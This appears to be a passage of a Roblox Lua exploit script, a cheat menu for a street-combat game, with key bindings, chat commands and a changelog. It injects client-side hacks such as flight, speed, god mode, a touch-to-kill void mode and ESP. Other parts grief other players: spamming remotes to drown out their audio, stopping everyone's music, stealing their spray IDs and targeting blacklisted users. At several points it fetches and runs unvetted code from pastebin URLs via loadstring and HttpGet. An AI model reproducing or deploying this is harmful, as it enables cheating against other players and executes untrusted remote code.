- pickedtool.Parent = game.Players.LocalPlayer.Backpack
- if pickedtool.Name == "Shotty" then
- pickedtool.Grip = CFrame.new(0.1,0,-0.6) * CFrame.Angles(math.rad(-30),math.rad(210),math.rad(-20))
- end
- if pickedtool.Name == "Glock" then
- pickedtool.Grip = CFrame.new(0.6,-0.6,0) * CFrame.Angles(math.rad(50),math.rad(300),math.rad(50))
- end
- pickedtool.Parent = game.Players.LocalPlayer.Character
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Goodbye cruel world!","All")
- wait(2)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(':(',"All")
- pickedtool.Fire:FireServer(game.Players.LocalPlayer.Character.Head.CFrame)
- wait(0.4)
- game.Players.LocalPlayer.Character.Torso.Neck:Destroy()
- end
- for i = 1,#suicidetools do
- table.remove(suicidetools, i)
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "v" then
- if game.Players.LocalPlayer.Character:FindFirstChild("RabbitWitch") then
- hat = game.Players.LocalPlayer.Character:FindFirstChild("RabbitWitch")
- else
- hat = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Accessory")
- end
- if voidtoggle == false and voidprocessing == false then
- voidprocessing = true
- local handle = hat:FindFirstChild("Handle")
- local Tool = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- elseif game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then
- game.Players.LocalPlayer.Character.UpperTorso.Anchored = true
- end
- handle.Parent = Tool
- handle.Massless = true
- Tool.GripPos = Vector3.new(0,tonumber(9e99),0)
- Tool.Parent = game.Players.LocalPlayer.Character
- repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("Tool")~=nil
- Tool.Grip = CFrame.new(Vector3.new(0,0,0))
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- game.Players.LocalPlayer.Character.Torso.Anchored = false
- elseif game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then
- game.Players.LocalPlayer.Character.UpperTorso.Anchored = false
- end
- Tool.Unequipped:Connect(function()
- wait()
- local Handle = Tool:FindFirstChild("Handle")
- if Handle then
- Handle.Parent = hat
- game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
- Handle.Massless = false
- Tool:Destroy()
- end
- voidtoggle = false
- end)
- voidtoggle = true
- voidprocessing = false
- elseif voidtoggle == true and voidprocessing == false then
- voidprocessing = true
- local Tool = game.Players.LocalPlayer.Backpack:FindFirstChild("Tool") or game.Players.LocalPlayer.Character:FindFirstChild("Tool")
- local Handle = Tool:FindFirstChild("Handle")
- if Handle then
- Handle.Parent = hat
- game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
- Handle.Massless = false
- Tool:Destroy()
- end
- voidtoggle = true
- voidprocessing = false
- end
- end
- end)
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- messagecommandshandle(game.Players.LocalPlayer,msg)
- end)
- game.Players.LocalPlayer.Character.Humanoid.StateChanged:Connect(function(old, new)
- if new == Enum.HumanoidStateType.FallingDown or new == Enum.HumanoidStateType.PlatformStanding then
- game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
- end
- end)
- game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
- repeat wait() until char:FindFirstChild("Humanoid")
- char.Humanoid.StateChanged:Connect(function(old, new)
- if new == Enum.HumanoidStateType.FallingDown or new == Enum.HumanoidStateType.PlatformStanding then
- char.Humanoid.PlatformStand = false
- char.Humanoid.Sit = false
- char.Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
- char.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
- end
- end)
- end)
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- game.Players.LocalPlayer.Character.Torso.ChildAdded:Connect(function(child)
- if child:IsA("Glue") and autoreset == true then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end)
- end
- game.Players.LocalPlayer.Character.ChildAdded:Connect(function(child)
- local cnamelower = string.lower(child.Name)
- if string.find(cnamelower, "bone") and autoreset == true then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end)
- end
- game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
- repeat wait() until char:FindFirstChild("Torso")
- char.Torso.ChildAdded:Connect(function(child)
- if child:IsA("Glue") and autoreset == true then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end)
- game.Players.LocalPlayer.Character.ChildAdded:Connect(function(child)
- local cnamelower = string.lower(child.Name)
- if string.find(cnamelower, "bone") and autoreset == true then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end)
- end)
- game.Players.LocalPlayer.Character.Humanoid.StateChanged:Connect(function(old, new)
- if freeshoot then
- game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Running)
- end
- end)
- game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
- if freeshoot then
- if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed == 0 then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end
- end)
- game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
- repeat wait() until char:FindFirstChild("Humanoid")
- char.Humanoid.StateChanged:Connect(function(old, new)
- if freeshoot then
- char.Humanoid.PlatformStand = false
- char.Humanoid.Sit = false
- char.Humanoid:ChangeState(Enum.HumanoidStateType.Running)
- end
- end)
- char.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
- if freeshoot then
- if char.Humanoid.WalkSpeed == 0 then
- char.Humanoid.WalkSpeed = 16
- end
- end
- end)
- end)
- game.Players.LocalPlayer.CharacterAdded:connect(function(char)
- stay = false
- flymode = false
- wait(0.6)
- needsrespawning = false
- haspos = false
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("BasePart") then
- v.Anchored = false
- end
- end
- repeat wait() until char.Humanoid
- char.Humanoid.ChildAdded:Connect(function(child)
- repeat wait() until char.Humanoid[child.Name]
- if child.Name == "Bullet" then
- wait(0.3)
- child:Destroy()
- end
- end)
- wait(0.4)
- giveSKey()
- game.Players.LocalPlayer.Backpack.ChildAdded:Connect(function(child)
- if child.Name == "Uzi" and flymode == true then
- repeat wait() until game.Players.LocalPlayer.Backpack[child.Name]
- child.Parent = game.Players.LocalPlayer.Character
- end
- end)
- game.Players.LocalPlayer.Character.ChildAdded:Connect(function(child)
- if child.Name ~= "Uzi" and flymode == true then
- repeat wait() until game.Players.LocalPlayer.Character[child.Name]
- child.Parent = game.Players.LocalPlayer.Backpack
- end
- end)
- end)
- game.Players.LocalPlayer.Backpack.ChildAdded:Connect(function(child)
- if child.Name == "Uzi" and flymode == true then
- wait()
- child.Parent = game.Players.LocalPlayer.Character
- end
- end)
- game.Players.LocalPlayer.Character.ChildAdded:Connect(function(child)
- if child.Name ~= "Uzi" and flymode == true then
- wait()
- child.Parent = game.Players.LocalPlayer.Backpack
- end
- end)
- game.CoreGui.RobloxPromptGui.promptOverlay.ChildAdded:Connect(function(child)
- if child.Name == "ErrorPrompt" then
- repeat wait() until child:FindFirstChild("MessageArea")
- repeat wait() until child.MessageArea:FindFirstChild("ErrorFrame")
- repeat wait() until child.MessageArea.ErrorFrame:FindFirstChild("ErrorMessage")
- loadstring(game:HttpGet(('https://pastebin.com/raw/2vdAwVQz'),true))()
- end
- end)
- print("----------------FEATURES-------------------")
- print("Chat commands can also be done as /e :COMMANDNAME or /e COMMANDNAME")
- print("-------------------------------------------")
- print("---------KEYS---------")
- print("")
- print("X Key - Hold this key then drag it over a player to set them as your target. (For targeted fire modes)")
- print("T Key - Targeted fire. Press this with a weapon out to fire at a target")
- print("K Key - Toggle super speed on / off")
- print("L Key - Toggle super jump")
- print("- Key - Turn up speed on super sprint")
- print("= Key - Turn down speed on super sprint")
- print("[ Key - Turn up height on super jump")
- print("] Key - Turn down height on ")
- print("N Key - Toggle returning to where you died.")
- print("B Key - Toggle having your uzi far out in front of you")
- print("H Key - Toggle flight (You can shoot while flying as well)")
- print("\ Key - Drop currently equipped weapon")
- print("M Key - Commit suicide (Needs either a shotty or a glock)")
- print("V Key - Void toggle (Touch people to kill them in this mode)")
- print("")
- print("---------CHAT COMMANDS---------")
- print(":play SONGID - This command will play the SONGID on your character without having to hold the radio")
- print(":deseat - Removes all seats in the game")
- print(":reseat - Puts all the seats in the game back")
- print(":defence - Removes all fences in the game")
- print(":refence - Puts all the fences in the game back")
- print(':find PLAYER - Puts esp to help you find a player. Saying ":find target" will trace your current target')
- print(":unfind PLAYER - Removes esp on a player, if esp is on them (unfinds a player)")
- print(":planks - Makes any planks you go near float above your head")
- print(":unplanks - Makes any planks floating above your head stop floating above your head")
- print(":planksurf - Planks will follow you, but won't move up or down (so you can run them in the air)")
- print(":demesh - Removes the mesh of your currently equipped tool. (Works for radios and spraypaints. :rmesh works too.)")
- print(":hidegun - Makes any gun you have equipped invisible. (Doesn't work for glocks)")
- print(":freeshoot - Turns freeshoot ON (let's you shoot while walking and jumping)")
- print(":unfreeshoot - Turns freeshoot OFF (let's you shoot while walking and jumping)")
- print(":togglewirerun - Toggles the the ability to run on the telephone wires (defaults to on)")
- print(":spray PLAYERNAME - Steals the ID of PLAYERNAME's spray (:stealspray also works) (shortened names work)")
- print(":rlegs - Removes your legs!")
- print(":rface - Removes your face (:faceless works aswell)")
- print(":stealthuzi - Puts your uzi into stealth mode B) Makes your uzi invisible and without animations")
- print(":stealthshotty - Puts your shotty into stealth mode B) Makes your shotty invisible and without animations")
- print(":eplay SONGID - Encrypts your ID, then plays it on your character (antisteal for bypasses)")
- print(":erplay SONGID - Encrypts your ID, then plays it on your boombox (antisteal for bypasses)")
- print(":stopanims - Stops your animations, hides things like the punch idle and such")
- print(":god - Turns on god mode, you can't use your tools in this mode")
- print(":ungod - Turns off god mode")
- print(":donate - Brings up a gui with a list of donation options (Donations over 30 will get you a green nametag)")
- print(":visualize TOOLNAME - Visualizes your audio with the selected tool. :visualize hat will do a hat visualizer")
- print("--(The visualizer used in this script is based off one made by hellish, show hellish some love <3)--")
- print(":clickspam - spams the out of ammo clicking sound, which overpowers audios")
- print(":unclickspam - stops the effects of clickspam")
- print(":stopmusic - Stops everyone's music")
- print(":fix - Fixes your music if you fall victim to someone else's clickspam / :stopmusic")
- print(":reset - Resets you.")
- print(":rejoin - Rejoins you to the streets (exact same thing as :tostreets)")
- print(":tostreets - Teleports you to the streets")
- print(":toprison - Teleports you to the prison, without banning you.")
- print(":void - Turns on void, turns off when you unequip the tool. (Walk into people to kill them while void is on)")
- print(":disc - shows a gui with the discord invite, and button for copying it (:discord works too)")
- print(":autoreset - Resets you automatically when you get ragdolled")
- print(":unautoreset - Turns off autoreset")
- print(":breakneck - Breaks your neck. Weird kink but okay.")
- print("-------------------------------------------")
- print("Vortexturize | aidez moi#4192 | Aidez")
- print("-------------------------------------------")
- loadstring(game:HttpGet(('https://pastebin.com/raw/9mAwN6rA'),true))()
- for i = 1,#mains do
- table.insert(dontshoot,(#dontshoot+1),mains[i])
- end
- for i = 1,#blacklist do
- if string.lower(game.Players.LocalPlayer.Name) == string.lower(tostring(blacklist[i])) then
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('Bye bye! From Aidez',"All")
- game.Players.LocalPlayer.Character:WaitForChild("Humanoid").WalkSpeed = 69
- -- Is this too toxic? LOL
- end
- end
- game.Players.PlayerAdded:connect(function(plr)
- wait(1)
- for i = 1,#mains do
- if string.lower(plr.Name) == tostring(string.lower(mains[i])) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.TextColor3 = Color3.new(1, 170/255, 0)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.Text = "Aidez"
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.MembershipIcon.Image = "rbxassetid://157449069"
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].Name = "Aidez"
- if plr.Name == mains[i] then
- wait(1)
- -- plr.Name = "Aidez"
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer:WaitForChild("PageViewClipper"):WaitForChild("PageView"):WaitForChild("PageViewInnerFrame")
- if game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players") then
- wait(0.7)
- if game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players"):FindFirstChild("PlayerLabel"..x.Name) then
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players"):FindFirstChild("PlayerLabel"..x.Name).NameLabel.Text = "Aidez"
- end
- else
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame.ChildAdded:Connect(function(child)
- wait()
- if child.Name == "Players" then
- child:WaitForChild("PlayerLabel"..plr.Name).NameLabel.Text = "Aidez"
- end
- end)
- end
- plr.CharacterAdded:Connect(function(char)
- repeat wait() until char.Humanoid
- -- char.Name = "Aidez"
- end)
- end
- end
- end
- for i = 1,#special do
- if string.lower(plr.Name) == tostring(string.lower(special[i])) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.TextColor3 = Color3.new(0, 255, 255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3434363475"
- end
- end
- for i = 1,#donators do
- if string.lower(plr.Name) == tostring(string.lower(donators[i])) and not IsInTable(special, donators[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.TextColor3 = Color3.new(255/255, 193/255, 242/255)
- end
- end
- for i = 1,#bigdonators do
- if string.lower(plr.Name) == tostring(string.lower(bigdonators[i])) and not IsInTable(special, bigdonators[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.TextColor3 = Color3.new(255/255, 193/255, 242/255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3423842039"
- end
- end
- for i = 1,#nitroboosters do
- if string.lower(plr.Name) == tostring(string.lower(nitroboosters[i])) and not IsInTable(special, nitroboosters[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.PlayerName.TextColor3 = Color3.new(255/255, 193/255, 242/255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[plr.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3453684844"
- end
- end
- end)
- for i, x in next, game:GetService"Players":GetPlayers() do
- for i = 1,#mains do
- if string.lower(x.Name) == tostring(string.lower(mains[i])) then -- and x ~= game.Players.LocalPlayer
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.TextColor3 = Color3.new(1, 170/255, 0)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.Text = "Aidez"
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.MembershipIcon.Image = "rbxassetid://157449069"
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].Name = "Aidez"
- if x.Name == mains[i] then
- wait(1)
- -- x.Name = "Aidez"
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer:WaitForChild("PageViewClipper"):WaitForChild("PageView"):WaitForChild("PageViewInnerFrame")
- if game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players") then
- wait(0.7)
- if game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players"):FindFirstChild("PlayerLabel"..x.Name) then
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame:FindFirstChild("Players"):FindFirstChild("PlayerLabel"..x.Name).NameLabel.Text = "Aidez"
- end
- else
- game.CoreGui.RobloxGui.SettingsShield.SettingsShield.MenuContainer.PageViewClipper.PageView.PageViewInnerFrame.ChildAdded:Connect(function(child)
- wait()
- if child.Name == "Players" then
- child:WaitForChild("PlayerLabel"..x.Name).NameLabel.Text = "Aidez"
- end
- end)
- end
- x.CharacterAdded:Connect(function(char)
- repeat wait() until char.Humanoid ~= nil
- -- char.Name = "Aidez"
- end)
- if x.Character then
- -- x.Character.Name = "Aidez"
- end
- end
- end
- end
- for i = 1,#special do
- if string.lower(x.Name) == tostring(string.lower(special[i])) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.TextColor3 = Color3.new(0, 255, 255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3434363475"
- end
- end
- for i = 1,#donators do
- if string.lower(x.Name) == tostring(string.lower(donators[i])) and not IsInTable(special, donators[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.TextColor3 = Color3.new(255/255, 193/255, 242/255)
- end
- end
- for i = 1,#bigdonators do
- if string.lower(x.Name) == tostring(string.lower(bigdonators[i])) and not IsInTable(special, bigdonators[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.TextColor3 = Color3.new(255/255, 193/255, 242/255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3423842039"
- end
- end
- for i = 1,#nitroboosters do
- if string.lower(x.Name) == tostring(string.lower(nitroboosters[i])) and not IsInTable(special, nitroboosters[i]) then
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.PlayerName.TextColor3 = Color3.new(146/255, 84/255, 255/255)
- game.CoreGui.RobloxGui.PlayerListContainer.ScrollList[x.Name].BGFrame.MembershipIcon.Image = "rbxassetid://3453684844"
- end
- end
- end
- game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
- repeat wait() until char:FindFirstChild("Humanoid")
- char.Humanoid.ChildAdded:Connect(function(child)
- repeat wait() until char.Humanoid[child.Name]
- if child.Name == "Bullet" then
- wait(0.3)
- child:Destroy()
- end
- end)
- end)
- game.Players.LocalPlayer.Character.Humanoid.ChildAdded:Connect(function(child)
- repeat wait() until game.Players.LocalPlayer.Character.Humanoid[child.Name]
- if child.Name == "Bullet" then
- wait(0.3)
- child:Destroy()
- end
- end)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Character ~= nil then
- if v.Character:FindFirstChild("Right Arm") then
- v.Character:FindFirstChild("Right Arm").ChildAdded:Connect(function(child)
- if child.Name == "RightGrip" then
- if child.Part1 ~= nil then
- if child.Part1.Parent ~= nil then
- if child.Part1.Parent:IsA("Accessory") then
- child:Destroy()
- end
- end
- end
- end
- end)
- for i,v in pairs(v.Character:FindFirstChild("Right Arm"):GetChildren()) do
- if v.Name == "RightGrip" then
- if Part1 ~= nil then
- if Part1.Parent ~= nil then
- if v.Part1.Parent:IsA("Accessory") then
- v:Destroy()
- end
- end
- end
- end
- end
- end
- end
- v.CharacterAppearanceLoaded:Connect(function(char)
- if v.Character:FindFirstChild("Right Arm") then
- v.Character:FindFirstChild("Right Arm").ChildAdded:Connect(function(child)
- if child.Name == "RightGrip" then
- if child.Part1 ~= nil then
- if child.Part1.Parent ~= nil then
- if child.Part1.Parent:IsA("Accessory") then
- child:Destroy()
- end
- end
- end
- end
- end)
- for i,v in pairs(v.Character:FindFirstChild("Right Arm"):GetChildren()) do
- if v.Name == "RightGrip" then
- if Part1 ~= nil then
- if Part1.Parent ~= nil then
- if v.Part1.Parent:IsA("Accessory") then
- v:Destroy()
- end
- end
- end
- end
- end
- end
- end)
- end
- game.Players.PlayerAdded:Connect(function(v)
- wait()
- if v.Character ~= nil then
- if v.Character:FindFirstChild("Right Arm") then
- v.Character:FindFirstChild("Right Arm").ChildAdded:Connect(function(child)
- if child.Name == "RightGrip" then
- if child.Part1 ~= nil then
- if child.Part1.Parent ~= nil then
- if child.Part1.Parent:IsA("Accessory") then
- child:Destroy()
- end
- end
- end
- end
- end)
- for i,v in pairs(v.Character:FindFirstChild("Right Arm"):GetChildren()) do
- if v.Name == "RightGrip" then
- if Part1 ~= nil then
- if Part1.Parent ~= nil then
- if v.Part1.Parent:IsA("Accessory") then
- v:Destroy()
- end
- end
- end
- end
- end
- end
- end
- v.CharacterAppearanceLoaded:Connect(function(char)
- if v.Character:FindFirstChild("Right Arm") then
- v.Character:FindFirstChild("Right Arm").ChildAdded:Connect(function(child)
- if child.Name == "RightGrip" then
- if child.Part1 ~= nil then
- if child.Part1.Parent ~= nil then
- if child.Part1.Parent:IsA("Accessory") then
- child:Destroy()
- end
- end
- end
- end
- end)
- for i,v in pairs(v.Character:FindFirstChild("Right Arm"):GetChildren()) do
- if v.Name == "RightGrip" then
- if Part1 ~= nil then
- if Part1.Parent ~= nil then
- if v.Part1.Parent:IsA("Accessory") then
- v:Destroy()
- end
- end
- end
- end
- end
- end
- end)
- end)
- debouncerino = false
- game:GetService('RunService').Stepped:connect(function()
- if godmode == true then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Right Leg") then
- game.Players.LocalPlayer.Character:FindFirstChild("Right Leg"):Destroy()
- end
- end
- end
- if clickspam == true then
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Character ~= nil then
- if v:FindFirstChildWhichIsA("Tool") then
- if v:FindFirstChildWhichIsA("Tool"):FindFirstChild("Click") then
- v:FindFirstChildWhichIsA("Tool"):FindFirstChild("Click"):FireServer()
- end
- end
- end
- for i,x in pairs(v.Backpack:GetChildren()) do
- if x:IsA("Tool") and x:FindFirstChild("Click") then
- x.Click:FireServer()
- end
- end
- end
- end
- if plankfollow == true then
- for i=1,#planks do
- planks[i].no.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,-10,0)
- end
- end
- if planksurf == true then
- for i=1,#planks do
- planks[i].no.Position = Vector3.new(game.Players.LocalPlayer.Character.Torso.Position.X, planks[i].no.Position.Y, game.Players.LocalPlayer.Character.Torso.Position.Z)
- end
- end
- if FLYING then
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") then
- game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
- end
- if game.Players.LocalPlayer.Character:FindFirstChild("Float") then
- game.Players.LocalPlayer.Character:FindFirstChild("Float").CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
- end
- end
- end
- if SpaceHeld == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,jumpspeed,0)
- end
- if Selecting == true then
- if mouse.Target then
- if mouse.Target.Parent:IsA("Model") and game.Players:FindFirstChild(mouse.Target.Parent.Name) then
- Target.Text = mouse.Target.Parent.Name
- targetee = game.Players:FindFirstChild(mouse.Target.Parent.Name)
- end
- end
- end
- if ShiftHeld == true then
- if WHeld == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,-runspeed)
- end
- if SHeld == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,runspeed)
- end
- if DHeld == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(runspeed,0,0)
- end
- if AHeld == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(-runspeed,0,0)
- end
- end
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") then
- if stationaryrespawn == true and game.Players.LocalPlayer.Character.Humanoid.Health == 0 then
- stay = false
- if haspos == false then
- pos = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- haspos = true
- end
- needsrespawning = true
- end
- end
- end
- if needsrespawning == true then
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
- end
- end
- end
- if stationaryrespawn == true then
- RespawningButton.Text = "Returning"
- else
- RespawningButton.Text = "Not Returning"
- end
- if stay == true then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = staypos
- end
- if visualize then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChild("Song") then
- local song = game.Players.LocalPlayer.Character.Torso:FindFirstChild("Song")
- rot = rot + 2 + song.PlaybackLoudness/400
- local tools = gettools(visualizetool)
- for i,v in next, gettools(visualizetool) do
- sine = sine + 25
- v.Parent = game.Players.LocalPlayer.Backpack
- v.Grip = CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) * CFrame.new(0,song.PlaybackLoudness/200 + 1,0) * CFrame.Angles(math.rad((i*(360/#tools))+rot),math.rad((i*(360/#tools))+rot),0) * CFrame.new(1.5,0,-1+math.sin(sine/#tools)*song.PlaybackLoudness/100)
- v.Parent = game.Players.LocalPlayer.Character
- -- Credit to hellish, since this is just an edited version of their visualizer
- end
- end
- end
- end
- end
- end)
- loadstring(game:HttpGet(('https://pastebin.com/raw/aqGMhrdG'),true))()
- deseat(game.Workspace)
- wait(4)
- function buttonfunction(content)
- if content == "Donate 30!" then
- if not game:GetService("MarketplaceService"):PlayerOwnsAsset(game.Players.LocalPlayer,918194587) then
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,918194587,true)
- else
- game.StarterGui:SetCore("SendNotification", {
- Title = "I love you omg";
- Text = "You've already donated! Thanks for your support <3";
- Icon = "rbxassetid://1053360438";
- Duration = 4;
- })
- end
- elseif content == "More options" then
- CreateDonationGUI()
- end
- end
- function discordbuttonfunction(content)
- if syn then
- syn.write_clipboard("https://discord.gg/bMwYFq2")
- end
- end
- bindable = Instance.new("BindableFunction")
- bindable.OnInvoke = buttonfunction
- discordbindable = Instance.new("BindableFunction")
- discordbindable.OnInvoke = discordbuttonfunction
- game.StarterGui:SetCore("SendNotification", {
- Title = "Donate? (BROKEN RN)";
- Text = "Donate to mega combat?";
- Icon = "rbxassetid://1369114584";
- Duration = 5;
- Callback = bindable;
- Button1 = "Donate 30!";
- Button2 = "More options";
- })
- if game.Workspace:FindFirstChild("Uzi | $150") then
- if game.Workspace["Uzi | $150"]:FindFirstChild("Head") then
- local memorial = Instance.new("Dialog")
- memorial.Parent = game.Workspace["Uzi | $150"].Head
- memorial.InitialPrompt = "RIP INFINITE AMMO UZI :("
- end
- end
- wait(2)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Join our discord!";
- Text = "https://discord.gg/bMwYFq2";
- Icon = "rbxassetid://3453806288";
- Duration = 5;
- Callback = discordbindable;
- Button1 = "Copy to Clipboard";
- })
- --[[
- - Added Remote control flying uzi
- - Added Shoot everyone around you
- - Switched to Mouse.KeyDown (Exploit should work for free exploit users now)
- - Fixed bugs
- - Improved infinite ammo uzi
- - Reduced lag build up from rapid fire (or at least attempted to)
- - Added ESP to trace Uzis, Shotties, and Cash spawned around the map
- ==========6/7/2019==========
- - Added Anti-Knockdown, so you'll never be stunned or tripped again
- - Added fly on the H key. You can shoot while flying
- - You can now change the radius of the Q Key with :setrad NUMBER
- - Added esp commands, for finding people easier.
- - Added my floating planks script in the form of chat commands (:plank and :unplank)
- ==========6/8/2019==========
- - Fixed :find
- - Added whitelisting, to avoid shooting your friends (:wl and :unwl)
- - Added :planksurf, so you can use planks as a platform
- ==========6/11/2019==========
- - Seats are now automatically removed when you inject. You can bring them back by saying :reseat
- - You can't shoot people in your whitelist at all anymore. Horray for friendship!
- - I probably added more stuff but I can't remember. Horray for memory loss!
- - Made it easier to identify me in-game
- ==========6/17/2019==========
- - Added the ability to drop tools with the \ key
- - Added the ability to hide your equipped gun with :hidegun (doesn't work with the glock)
- - Added :rmesh / :demesh which removes the mesh of any boombox or spraypaint you're holding.
- - Blacklisted anyone with la_ in their name because someone named La_Nicole pissed me off LOL
- - (if have la_ in your name, and can find the part I added for banning you, you can use the script :triumph:)
- ==========6/27/2019==========
- - Pressing G will make you do /e kick (Only if you have the animations gamepass)
- - Fixed the problem with people not seeing my chat LOL
